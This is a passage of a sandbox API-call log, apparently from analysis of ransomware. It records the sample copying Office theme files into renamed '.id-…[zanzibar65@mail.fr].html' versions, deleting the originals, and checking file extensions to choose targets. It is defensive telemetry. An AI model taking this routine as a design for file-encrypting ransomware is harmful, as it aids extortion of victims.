lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x37d90, lpOverlapped=0x0) returned 1 [0274.168] ReadFile (in: hFile=0x394, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.168] WriteFile (in: hFile=0x38c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0274.168] SetEndOfFile (hFile=0x38c) returned 1 [0274.169] CloseHandle (hObject=0x38c) returned 1 [0274.169] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.169] SetEndOfFile (hFile=0x394) returned 1 [0274.320] CloseHandle (hObject=0x394) returned 1 [0274.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1 [0274.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.372] lstrlenW (lpString=".doc") returned 4 [0274.372] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.372] lstrlenW (lpString=".docx") returned 5 [0274.372] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.372] lstrlenW (lpString=".pdf") returned 4 [0274.372] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.372] lstrlenW (lpString=".xls") returned 4 [0274.372] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.372] lstrlenW (lpString=".xlsx") returned 5 [0274.372] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.372] lstrlenW (lpString=".ppt") returned 4 [0274.372] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.372] lstrlenW (lpString=".zip") returned 4 [0274.372] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.373] lstrlenW (lpString=".rar") returned 4 [0274.373] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.373] lstrlenW (lpString=".bz2") returned 4 [0274.373] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.373] lstrlenW (lpString=".7z") returned 3 [0274.373] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.373] lstrlenW (lpString=".dbf") returned 4 [0274.373] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.373] lstrlenW (lpString=".1cd") returned 4 [0274.373] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.373] lstrlenW (lpString=".jpg") returned 4 [0274.373] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.374] lstrlenW (lpString=".doc") returned 4 [0274.374] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString=".docx") returned 5 [0274.374] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.374] lstrlenW (lpString=".pdf") returned 4 [0274.374] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString=".xls") returned 4 [0274.374] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString=".xlsx") returned 5 [0274.374] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.374] lstrlenW (lpString=".ppt") returned 4 [0274.374] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.374] lstrlenW (lpString=".zip") returned 4 [0274.374] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString=".rar") returned 4 [0274.374] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString=".bz2") returned 4 [0274.374] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString=".7z") returned 3 [0274.374] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.374] lstrlenW (lpString=".dbf") returned 4 [0274.374] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.374] lstrlenW (lpString=".1cd") returned 4 [0274.374] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0274.374] lstrlenW (lpString=".jpg") returned 4 [0274.374] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.375] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.375] lstrlenW (lpString="Solstice.eftx") returned 13 [0274.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.376] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=27781) returned 1 [0274.376] CloseHandle (hObject=0x38c) returned 1 [0274.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0274.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.384] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.384] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.385] GetLastError () returned 0x0 [0274.385] ReadFile (in: hFile=0x3a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x6c85, lpOverlapped=0x0) returned 1 [0274.387] WriteFile (in: hFile=0x2ec, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0274.388] ReadFile (in: hFile=0x3a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.388] WriteFile (in: hFile=0x2ec, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xee, lpOverlapped=0x0) returned 1 [0274.388] SetEndOfFile (hFile=0x2ec) returned 1 [0274.388] CloseHandle (hObject=0x2ec) returned 1 [0274.388] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.388] SetEndOfFile (hFile=0x3a0) returned 1 [0274.393] CloseHandle (hObject=0x3a0) returned 1 [0274.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 1 [0274.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.394] lstrlenW (lpString=".doc") returned 4 [0274.394] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString=".docx") returned 5 [0274.394] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.394] lstrlenW (lpString=".pdf") returned 4 [0274.394] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString=".xls") returned 4 [0274.394] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString=".xlsx") returned 5 [0274.394] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.394] lstrlenW (lpString=".ppt") returned 4 [0274.394] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.394] lstrlenW (lpString=".zip") returned 4 [0274.394] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString=".rar") returned 4 [0274.394] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString=".bz2") returned 4 [0274.394] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString=".7z") returned 3 [0274.394] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.394] lstrlenW (lpString=".dbf") returned 4 [0274.394] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.394] lstrlenW (lpString=".1cd") returned 4 [0274.394] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.394] lstrlenW (lpString=".jpg") returned 4 [0274.394] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.395] lstrlenW (lpString=".doc") returned 4 [0274.395] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString=".docx") returned 5 [0274.395] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.395] lstrlenW (lpString=".pdf") returned 4 [0274.395] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString=".xls") returned 4 [0274.395] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString=".xlsx") returned 5 [0274.395] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.395] lstrlenW (lpString=".ppt") returned 4 [0274.395] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.395] lstrlenW (lpString=".zip") returned 4 [0274.395] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString=".rar") returned 4 [0274.395] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString=".bz2") returned 4 [0274.395] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString=".7z") returned 3 [0274.395] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.395] lstrlenW (lpString=".dbf") returned 4 [0274.395] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.395] lstrlenW (lpString=".1cd") returned 4 [0274.395] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0274.395] lstrlenW (lpString=".jpg") returned 4 [0274.396] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.396] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.396] lstrlenW (lpString="Technic.eftx") returned 12 [0274.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.397] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=23692) returned 1 [0274.397] CloseHandle (hObject=0x3a0) returned 1 [0274.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0274.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.397] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.397] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.398] GetLastError () returned 0x0 [0274.398] ReadFile (in: hFile=0x3a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0274.399] WriteFile (in: hFile=0x2ec, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x5c90, lpOverlapped=0x0) returned 1 [0274.400] ReadFile (in: hFile=0x3a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.400] WriteFile (in: hFile=0x2ec, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.400] SetEndOfFile (hFile=0x2ec) returned 1 [0274.401] CloseHandle (hObject=0x2ec) returned 1 [0274.401] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.401] SetEndOfFile (hFile=0x3a0) returned 1 [0274.403] CloseHandle (hObject=0x3a0) returned 1 [0274.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1 [0274.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.404] lstrlenW (lpString=".doc") returned 4 [0274.404] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString=".docx") returned 5 [0274.404] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.404] lstrlenW (lpString=".pdf") returned 4 [0274.404] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString=".xls") returned 4 [0274.404] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString=".xlsx") returned 5 [0274.404] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.404] lstrlenW (lpString=".ppt") returned 4 [0274.404] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.404] lstrlenW (lpString=".zip") returned 4 [0274.404] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString=".rar") returned 4 [0274.404] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString=".bz2") returned 4 [0274.404] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString=".7z") returned 3 [0274.404] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.404] lstrlenW (lpString=".dbf") returned 4 [0274.404] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.404] lstrlenW (lpString=".1cd") returned 4 [0274.404] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.404] lstrlenW (lpString=".jpg") returned 4 [0274.404] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.405] lstrlenW (lpString=".doc") returned 4 [0274.405] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString=".docx") returned 5 [0274.405] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.405] lstrlenW (lpString=".pdf") returned 4 [0274.405] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString=".xls") returned 4 [0274.405] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString=".xlsx") returned 5 [0274.405] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.405] lstrlenW (lpString=".ppt") returned 4 [0274.405] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.405] lstrlenW (lpString=".zip") returned 4 [0274.405] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString=".rar") returned 4 [0274.405] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString=".bz2") returned 4 [0274.405] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString=".7z") returned 3 [0274.405] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.405] lstrlenW (lpString=".dbf") returned 4 [0274.405] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.405] lstrlenW (lpString=".1cd") returned 4 [0274.405] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0274.405] lstrlenW (lpString=".jpg") returned 4 [0274.405] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.406] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.406] lstrlenW (lpString="Thatch.eftx") returned 11 [0274.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.406] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=41295) returned 1 [0274.407] CloseHandle (hObject=0x3a0) returned 1 [0274.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0274.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.407] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.407] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.408] GetLastError () returned 0x0 [0274.408] ReadFile (in: hFile=0x3a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0xa14f, lpOverlapped=0x0) returned 1 [0274.410] WriteFile (in: hFile=0x2ec, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xa150, lpOverlapped=0x0) returned 1 [0274.411] ReadFile (in: hFile=0x3a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.412] WriteFile (in: hFile=0x2ec, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0274.412] SetEndOfFile (hFile=0x2ec) returned 1 [0274.412] CloseHandle 